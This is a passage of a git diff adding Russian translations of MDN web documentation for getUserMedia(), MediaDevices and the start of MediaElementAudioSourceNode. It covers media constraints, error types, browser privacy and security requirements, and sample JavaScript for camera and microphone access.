+ <p>Тип параметра <code><var>constraints</var></code> (ограничения) - это объект типа <code>MediaStreamConstraints</code> с двумя членами: <code>video</code> и <code>audio</code>, описывающие запрашиваемые медиатипы. Один или оба должны определяться разработчиком. Если браузер не сможет обнаружить медиатреки определяемого типа, которые соответствуют переданным ограничениям, возвращаемый методом промис отменяется с объектом <code>NotFoundError</code>.</p>
+
+ <p>Следующий отрывок кода запрашивает и <code>audio</code> и <code>video</code><strong> </strong>типы  без дополнительных условий:</p>
+
+ <pre class="brush: js notranslate">{ audio: true, video: true }</pre>
+
+ <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода  <code>getUserMedia()</code> приведет к ошибке.</p>
+
+ <p>Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфеденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}</pre>
+
+ <p id="successCallback">Браузер попытается выполнить условие, но может вернуть видеотрек другого разрешения, если установленные требования невозможно удовлетворить (камера не обладает возможностью такого разрешения), или пользователь переопределяет условие.</p>
+
+ <p>Для минимального, максимального и точного определения значения можно использовать ключевые слова <code>min</code>, <code>max</code>, или <code>exac</code>. Следующий пример запрашивает минимальное разрешение камеры 1280x720:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}</pre>
+
+ <p>Если камера не в состоянии обеспечить указанное минимальное разрешение или более высокое, возвращаемый промис будет отменен с объектом <code>OverconstrainedError</code>, и пользователь не увидит диалога запроса разрешения.</p>
+
+ <p>Различие поведения происходит по причине того, что ключевые слова <code>min</code>, <code>max</code>, и <code>exact</code>  являются обязательными к выполнению. В то время как простые значения и ключевое слово  <code>ideal</code> - не обязательные к выполнению. Ниже, полный пример:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}</pre>
+
+ <p>Значение свойства <code>ideal</code>  имеет приоритет. Это означает, что браузер будет пытаться обнаружить настройки с наименьшей  <a href="https://w3c.github.io/mediacapture-main/#dfn-fitness-distance">fitness distance</a> (удовлетворяющей разницей) от переданных идеальных значений. Т.е. пытается найти самое близкое к переданному значение.</p>
+
+ <p>Простые значения работают как идеальные, поэтому один из первых примеров выше можно переписать, используя свойство  <code>ideal </code>:</p>
+
+ <pre class="brush: js notranslate">{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}</pre>
+
+ <p>Не все значения ограничений являются числовыми. К примеру, на мобильных устройствах следующий отрывок будет запрашивать переднюю камеру (если присутствует) , поэтому в свойстве <code>facingMode</code> указано строковое значение <code>user</code>:</p>
+
+ <pre class="brush: js notranslate">{ audio: true, video: { facingMode: "user" } }</pre>
+
+ <p>Запрос обратной (задней) камеры:</p>
+
+ <pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
+
+ <p>Следующее строковое свойство -  <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из  метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определнного устройства по идентификатору этого устройства:</p>
+
+ <pre class="brush: js notranslate">{ video: { deviceId: идентификаторНужнойКамеры } }</pre>
+
+ <p>Код выше вернет запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определенной камеры, без альтернативы, используется свойство  <code>exact</code> (точно) :</p>
+
+ <pre class="brush: js notranslate">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Промис {{jsxref("Promise")}}, при удачном запросе требуемого медиа устройства разрешается  объектом типа {{domxref("MediaStream")}} .</p>
+
+<h3 id="Исключения_Ошибки">Исключения (Ошибки)</h3>
+
+<p>При неудачном запросе медиа устройства, возвращаемый промис {{jsxref("Promise")}} отменяется объектом типа  ошибки {{domxref("DOMException")}}. Возможными ошибками могут быть типы:</p>
+
+<dl>
+ <dt><code>AbortError (Прервано)</code></dt>
+ <dd>Хотя пользователь и операционная система предоставили доступ к аппаратному устройству, и не возникло проблем с оборудованием, которые могли бы вызвать <code>NotReadableError</code>, возникла некоторая проблема, которая не позволила использовать устройство.</dd>
+</dl>
+
+<dl>
+ <dt><code>NotAllowedError (Доступ не разрешен)</code></dt>
+ <dd>Возникает если, одно или несколько запрашиваемых устройств не можут быть использованы в настоящее время. Это происходит тогда, когда контекст браузера является не безопасным (страница была загружена используя протокол HTTP вместо HTTPS), а также, если пользователь не разрешил доступ текущему экземпляру браузера к устройству, пользователь отказал в доступе в текущей сессии, или пользователь отказал в доступе к медиаустройствам глобально. Для браузеров, которые поддерживают управление медиаразрешениями с помощью  <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, такая ошибка возвращается если Feature Policy не сконфигурирована для разрешение доступа к медиаустройству или устройствам
+ <div class="note"> Более старые версии спецификации использовали вместо этого SecurityError. <code>SecurityError</code> имеет новое значение.</div>
+ </dd>
+ <dt><code>NotFoundError (Не найдено)</code></dt>
+ <dd>Возникает если, типы мидиа треков, удовлетворяющие переданным значениям, не найдены.</dd>
+ <dt><code>NotReadableError (Не читается)</code></dt>
+ <dd>Хотя пользователь и предоставил разрешение на использование соответствующих устройств, произошла аппаратная ошибка на уровне операционной системы, браузера или веб-страницы, которая препятствовала доступу к устройству..</dd>
+ <dt><code>OverconstrainedError (за границами ограничений)</code></dt>
+ <dd>Возникает если, в результате указанных ограничений не было найдено устройств, отвечающих запрошенным критериям. Ошибка является объектом типа <code>OverconstrainedError</code> и имеет свойство <code>constraint</code>, строковое значение которого является именем ограничения, которое было невозможно встретить, и свойство <code>message</code>, содержащее читаемую человеком строку, объясняющую проблему.
+ <div class="note">Ошибка может возникнуть даже, если пользователь еще не выдал разрешение на использование устройства, использующиеся как поверхность для идентификации отпечатка пальца.</div>
+ </dd>
+ <dt><code>SecurityError (ошибка безопасности)</code></dt>
+ <dd>Возникает если, медиа поддержка отключена в {{domxref("Document")}} на котором был вызван метод  <code>getUserMedia()</code>. Механизм по которому медиа поддержка включается и отключается находиться в компетенции браузера пользователя.</dd>
+ <dt><code>TypeError (ошибка типа)</code></dt>
+ <dd>Возникает если, список ограничений пустой или все ограничения установлены в  <code>false</code>. Так же это происходит, если пытаться вызвать метод <code>getUserMedia()</code> в небезопасном контексте, поскольку в нем  {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Конфеденциальность_и_безопасность">Конфеденциальность и безопасность</h2>
+
+<p>Поскольку  API могут существенно затрагивать  вопросы конфеденциальности, спецификация <code>getUserMedia()</code> предъявляет широкий спекрт требований защиты конфеденциальности и безопасности, которым современные браузеры обязаны следовать.</p>
+
+<p><code>getUserMedia()</code> -  это мощная функция, которая может быть использована только в <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасном контексте</a> . В небезопасном контексте, <code>navigator.mediaDevices</code> равно <code>undefined</code>, предотвращая достук к методу <code>getUserMedia()</code>. Безопасный контекст  - это, если кратко, страница, загружаемая по протоколу HTTPS или  <code>file:///</code> URL схеме, или страница, загружаемая из <code>localhost</code>.</p>
+
+<p>В нем обязательно запрашивается пользовательское разрешение к доступу <code>audio</code> или <code>video</code> источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод <code>getUserMedia()</code>. Если контексту верхнего уровня явно не дается разрешение для данного {{HTMLElement("iframe")}} используя <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.</p>
+
+<p>Дополнительные подробности на тему требований и правил, и как они отражены в контексте выпоняемого кода, о том, как браузеры управляют вопросами конфеденциальности и безопасности читайте далее.</p>
+
+<h3 id="Конфеденциальность_пользователя">Конфеденциальность пользователя</h3>
+
+<p>Поскольку, програмный интерфейс  затрагивает вопросы конфеденциальности и безопасности, в спецификации, для метода  <code>getUserMedia()</code> содержатся особенные требования для управления уведомлениями и разрешениями пользователя. Сначала метод <code>getUserMedia()</code> должен всегда запрашивать пользовательское разрешение до начала сбора данных потоков камеры и микрофона. Браузер может использовать функциональность одного разрешения на домен, но в первый раз браузер обязательно должен получить разрешение пользователя. </p>
+
+<p>Не менее важны правила уведомления. Браузеры обязательно отображают индикатор, который указывает на использование камеры или микрофона, выше или сверху любого, уже имеющегося индикатора аппартного средства (если присутствует). Они также должны отображать индикатор того, что разрешение уже выдано для использования устройств, даже, если устройства не используются в настоящий момент.</p>
+
+<p>К примеру, в Firefox,<strong> </strong>в панели адреса отображается красная пульсирующая иконка, указывающая на использование аппаратного средства. Серая иконка указывает на выданное разрешение, но не использование аппаратного средства в данный момент. Физический (явный) свет устройства указывает на текущее использование (активизацию) аппаратного средства. Если отключить камеру програмно, свет активности камеры отключится, указывая на то, что она запись не производит, без отмены разрешение на использования, и включиться после запуска камеры в работу.</p>
+
+<h3 id="Безопасность">Безопасность</h3>
+
+<p>Существуют несколько способов управлением безопасностью и контролем в  {{Glossary("user agent")}}. Для этого можно использовать метод <code>getUserMedia()</code> , который возвращает объекты ошибок, относящиеся к безопасности.</p>
+
+<div class="blockIndicator note">
+<p><strong> Примечание :</strong>  Модель безопасности для метода <code>getUserMedia()</code> находиться в процессе разработки. Первоначально спроектированный механизм безопасности находиться в процессе замещения Feature Policy, поэтому различные браузеры имеют разный уровень поддержки безопасности, используют различные механизмы. Вам необходимо осторожно тестировать свой код на различных устройствах и браузерах, чтобы удостовериться в его уверенной работоспособности.</p>
+</div>
+
+<h4 id="Feature_Policy_Функцианальная_политика">Feature Policy (Функцианальная политика)</h4>
+
+<p>Функция управление безопасностью (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включенной в настройках по умолчанию, как в   Firefox). Метод <code>getUserMedia()</code> - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует <code>getUserMedia()</code>, либо  {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера,  которые используют <code>getUserMedia()</code>.</p>
+
+<p>Два разрешения, которые обращаются к <code>getUserMedia()</code> - <code>camera</code> и <code>microphone</code>.</p>
+
+<p>К примеру, строка  HTTP заголовка позволит использовать камеру документу и любым встроенныем  {{HTMLElement("iframe")}} элементам, которые загружаются  из одного источника:</p>
+
+<pre class="notranslate">Feature-Policy: camera 'self'</pre>
+
+<p>Строка ниже, запрашивает доступ к микрофону для текушего источника и указанном в заголовке источнике <code>https://developer.mozilla.org</code>:</p>
+
+<pre class="notranslate">Feature-Policy: microphone 'self' https://developer.mozilla.org</pre>
+
+<p>Если используется <code>getUserMedia()</code> внутри элемента <code>&lt;iframe&gt;</code>, можно запросить разрешение только для этого фрейма, которое явно более безопасее, чем  запрашивать более общее разрешение. Здесь нам нужно использовать и камеру и микрофон:</p>
+
+<pre class="brush: html notranslate">&lt;iframe src="https://mycode.example.net/etc" allow="camera;microphone"&gt;
+&lt;/iframe&gt;</pre>
+
+<p>Прочитайте наше руководство <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Применение функциональной политики </a>, изучив подробнее то, как это работает.</p>
+
+<h4 id="Безопасность_на_основе_шифрования">Безопасность на основе шифрования</h4>
+
+<p>Метод <code>getUserMedia()</code> доступен <em>только</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">безопасных контекстов</a>. Безопасный контекст - это уверенность браузера в том, что  документ был загружен безопасно, используя  HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство  {{domxref("navigator.mediaDevices")}} равно <code>undefined</code>, делая невозможным доступ к методу <code>getUserMedia()</code>. Попытка получить доступ в такой ситуации приведет к ошибке <code>TypeError</code>.</p>
+
+<h4 id="Безопасность_источника_документа">Безопасность источника документа</h4>
+
+<p>Существуют несколько небезопасных способа загрузить документ, который может попытыться вызвать метод <code>getUserMedia()</code>. Ниже представлены примеры ситуаций, в которых <code>getUserMedia()</code> не разрешается вызывать:</p>
+
+<ul>
+ <li>Документ, загруженный в песочницу {{HTMLElement("iframe")}} элемента не может вызвать <code>getUserMedia()</code>, до тех пор пока, на элементе <code>&lt;iframe&gt;</code> находиться атрибут  {{htmlattrxref("sandbox", "iframe")}}, установленный в значение <code>allow-same-origin</code>.</li>
+ <li>Документ, загруженный по протоколам <code>data://</code> или <code>blob://</code> в URL-адресе, не имеющий источника  (такими являются типы URL-ов, введенные пользователями в строке адреса браузера) не может вызвать <code>getUserMedia()</code>. Подобные типы  URL-ов, загружаемые из JavaScript кода, наследуют разрешения скрипта.</li>
+ <li>Иные ситуации, документы которых не имеют источника, к примеру элемент, содержащий атрибут {{htmlattrxref("srcdoc", "iframe")}}, использующийся для указания содержимого фрейма.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ширина_и_высота">Ширина и высота</h3>
+
+<p>Этот пример выбирает указанное разрешение камеры и присваивает ссылку на объект {{domxref("MediaStream")}} свойству <code>srcObject</code> элемента <code>video</code> .</p>
+
+<pre class="brush: js notranslate">// Выбирает разрешение камеры близкое к 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+</pre>
+
+<h3 id="Использование_новых_API_в_старых_браузерах">Использование новых  API в старых браузерах</h3>
+
+<p>Ниже, находятся примеры, использующие <code>navigator.mediaDevices.getUserMedia()</code>, с полифилами для работы в старых браузерах. Обратите внимание, что эти полифилы не корректируют все различия в синтаксисе, и не работают во всех браузерах. Рекомендуется использовать библиотеку  <a href="https://github.com/webrtc/adapter">adapter.js</a> , как производственный полифил.</p>
+
+<pre class="brush: js notranslate">// Старые браузеры могут не реализовывать свойство mediaDevices,
+//поэтому вначале присваеваем свойству ссылку на пустой объект
+
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Некоторые браузеры частично реализуют свойство mediaDevices, поэтому
+//мы не можем присвоить ссылку на объект свойству getUserMedia, поскольку
+//это переопределит существующие свойства. Здесь, просто добавим свойство
+<code>//getUserMedia </code>, если оно отсутствует.
+
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // Сначала, если доступно, получим устаревшее getUserMedia
+
+  var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+   //Некоторые браузеры не реализуют его, тогда вернем отмененный промис
+   // с ошибкой для поддержания последовательности интерфейса
+
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Иначе, обернем промисом устаревший navigator.getUserMedia
+
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Устаревшие браузеры могут не иметь свойство srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Не используем в новых браузерах
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<h3 id="Частота_кадров">Частота кадров</h3>
+
+<p>В некоторых случаях может быть желательна более низкая частота кадров, например, при передаче WebRTC с ограничениями полосы пропускания</p>
+
+<pre class="brush: js notranslate">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+</pre>
+
+<h3 id="Передняя_и_задняя_камеры">Передняя и задняя камеры</h3>
+
+<p>На мобильных устройствах.</p>
+
+<pre class="brush: js notranslate">var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой страницы сгенерирована из структуры данных. Если вы хотите внести свой вклад в данные, пожалуйста, перейдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправте нам запрос.</div>
+
+<p>{{Compat("api.MediaDevices.getUserMedia")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>Предыдущее {{domxref("navigator.getUserMedia()")}}  API.</li>
+ <li>{{domxref("mediaDevices.enumerateDevices()")}}: Перечисление доступных медиа устройств</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API (Media Streams)</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a>: Захват области экрана как {{domxref("MediaStream")}}</li>
+ <li>{{domxref("mediaDevices.getDisplayMedia()")}}: Получение потока, содержащего экранную область</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking webcam photos</a>: Руководство по использованию <code>getUserMedia()</code> для получения снимком вместо видео.</li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 604px; top: 11916px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/api/mediadevices/index.html b/files/ru/web/api/mediadevices/index.html
new file mode 100644
index 0000000000..3708d64823
--- /dev/null
+++ b/files/ru/web/api/mediadevices/index.html
@@ -0,0 +1,237 @@
+---
+title: MediaDevices
+slug: Web/API/MediaDevices
+tags:
+  - API
+  - Devices
+  - Interface
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaDevices
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - WebRTC
+translation_of: Web/API/MediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">Интерфейс <strong><code>MediaDevices</code></strong> предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.</span></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойство родителя {{domxref("EventTarget")}}.</em></p>
+
+<h3 id="Handlers" name="Handlers">Обработчики событий</h3>
+
+<dl>
+ <dt>{{ domxref("MediaDevices.ondevicechange") }}</dt>
+ <dd>Это обработчик события {{event("devicechange")}}. Это событие доставляется в объек <code>MediaDevices</code> когда медиа-устройство ввода или вывода подключается или отключается на компьютере пользователя.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследуемый метод родителя {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Регистрирует обработчик событий для определенного типа событий.</dd>
+ <dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt>
+ <dd>Получает массив информации о медиа-устройстве ввода-вывода.</dd>
+ <dt>{{domxref("MediaDevices.getSupportedConstraints()")}}</dt>
+ <dd>Возвращает объект, соответствующий {{domxref("MediaTrackSupportedConstraints")}}, указывающий, какие ограничительные свойства поддерживаются в интерфейсе {{domxref("MediaStreamTrack")}}. Смотри {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}}, чтобы узнать больше об ограничениях и их использовании.</dd>
+ <dt>{{ domxref("MediaDevices.getUserMedia()") }}</dt>
+ <dd>С разрешения пользователя (у пользователя будет запрошено разрешение) включает камеру, микрофон или общий доступ к экрану и предоставляет {{domxref("MediaStream")}}, содержащий входящую видео- и/или звуковую дорожку. </dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Удаляет обработчик событий.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">'use strict';
+
+// Помещаем переменные в глобальную область видимости, чтобы сделать их доступными для консоли браузера
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Получил поток с ограничениями:', constraints);
+  console.log('Использую видео-устройство: ' + videoTracks[0].label);
+  stream.onended = function() {
+    console.log('Трансляция закончилась');
+  };
+  window.stream = stream; // Делаем переменную доступной для консоли браузера
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('Разрешение ' + constraints.video.width.exact + 'x' +
+        constraints.video.height.exact + ' px не поддерживается устройством.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Разрешения на использование камеры и микрофона не были предоставлены. ' +
+      'Вам нужно разрешить странице доступ к вашим устройствам,' +
+      ' чтобы демо-версия работала.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Основная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>enumerateDevices()</code></td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getSupportedConstraints()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ondevicechange</code> and <code>devicechange</code> events</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(51)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>2.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>enumerateDevices()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getSupportedConstraints()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Поддержка события <code>devicechange</code> и {{domxref("MediaDevices.ondevicechange")}} появилась Firefox 51, но <em>только для Mac </em>и по умолчанию отключена. Её можно включить, установив параметру <code>media.ondevicechange.enabled</code> значение ИСТИНА. Для Linux и Windows поддержка добавлена и включена по умолчанию с Firefox 52.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: API, частью которого является этот интерфейс.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li>{{domxref("Navigator.mediaDevices")}}: Возвращает ссылку на объект <code>MediaDevices</code>, который можно использовать для доступа к устройствам.</li>
+ <li><a href="https://github.com/chrisjohndigital/CameraCaptureJS">CameraCaptureJS:</a> HTML5 захват и воспроизведение видео с помощью <code>MediaDevices</code> и MediaStream Recording API (<a href="https://github.com/chrisjohndigital/CameraCaptureJS">исходный код на GitHub</a>)</li>
+</ul>
diff --git a/files/ru/web/api/mediaelementaudiosourcenode/index.html b/files/ru/web/api/mediaelementaudiosourcenode/index.html
new file mode 100644
index 0000000000..1566b65859
--- /dev/null
+++ b/files/ru/web/api/mediaelementaudiosourcenode/index.html
@@ -0,0 +1,119 @@
+---
+title: MediaElementAudioSourceNode
+slug: Web/API/MediaElementAudioSourceNode
+translation_of: Web/API/MediaElementAudioSourceNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>Интерфейс <code>MediaElementAudioSourceNode</code> представляет собой аудио узел {{domxref("AudioNode")}}, созданный из HTML5 {{ htmlelement("audio") }} или {{ htmlelement("video") }} элемента. Он является источником звука.</p>
+</div>
+
+<p><code>MediaElementSourceNode</code> не имеет входов, а только один выход, и может быть создан методом {{domxref("AudioContext.createMediaElementSource")}}. Количество каналов в выходном сигнале равно числу каналов аудио, на которое ссылается {{domxref("HTMLMediaElement")}} используемый для создания узла, или 1, если {{domxref("HTMLMediaElement")}} не имеет аудио.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Количество входов</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество выходов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество каналов</th>
+   <td>зависит от содержимого медиа элемента {{domxref("HTMLMediaElement")}}, переданному методу {{domxref("AudioContext.createMediaElementSource")}} при создании узла.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы родителя, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/ru/docs/Web/API/AudioContext.createMediaElementSource","Example")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-mediaelementaudiosourcenode-interface', 'MediaElementAudioSourceNode')}}</td>
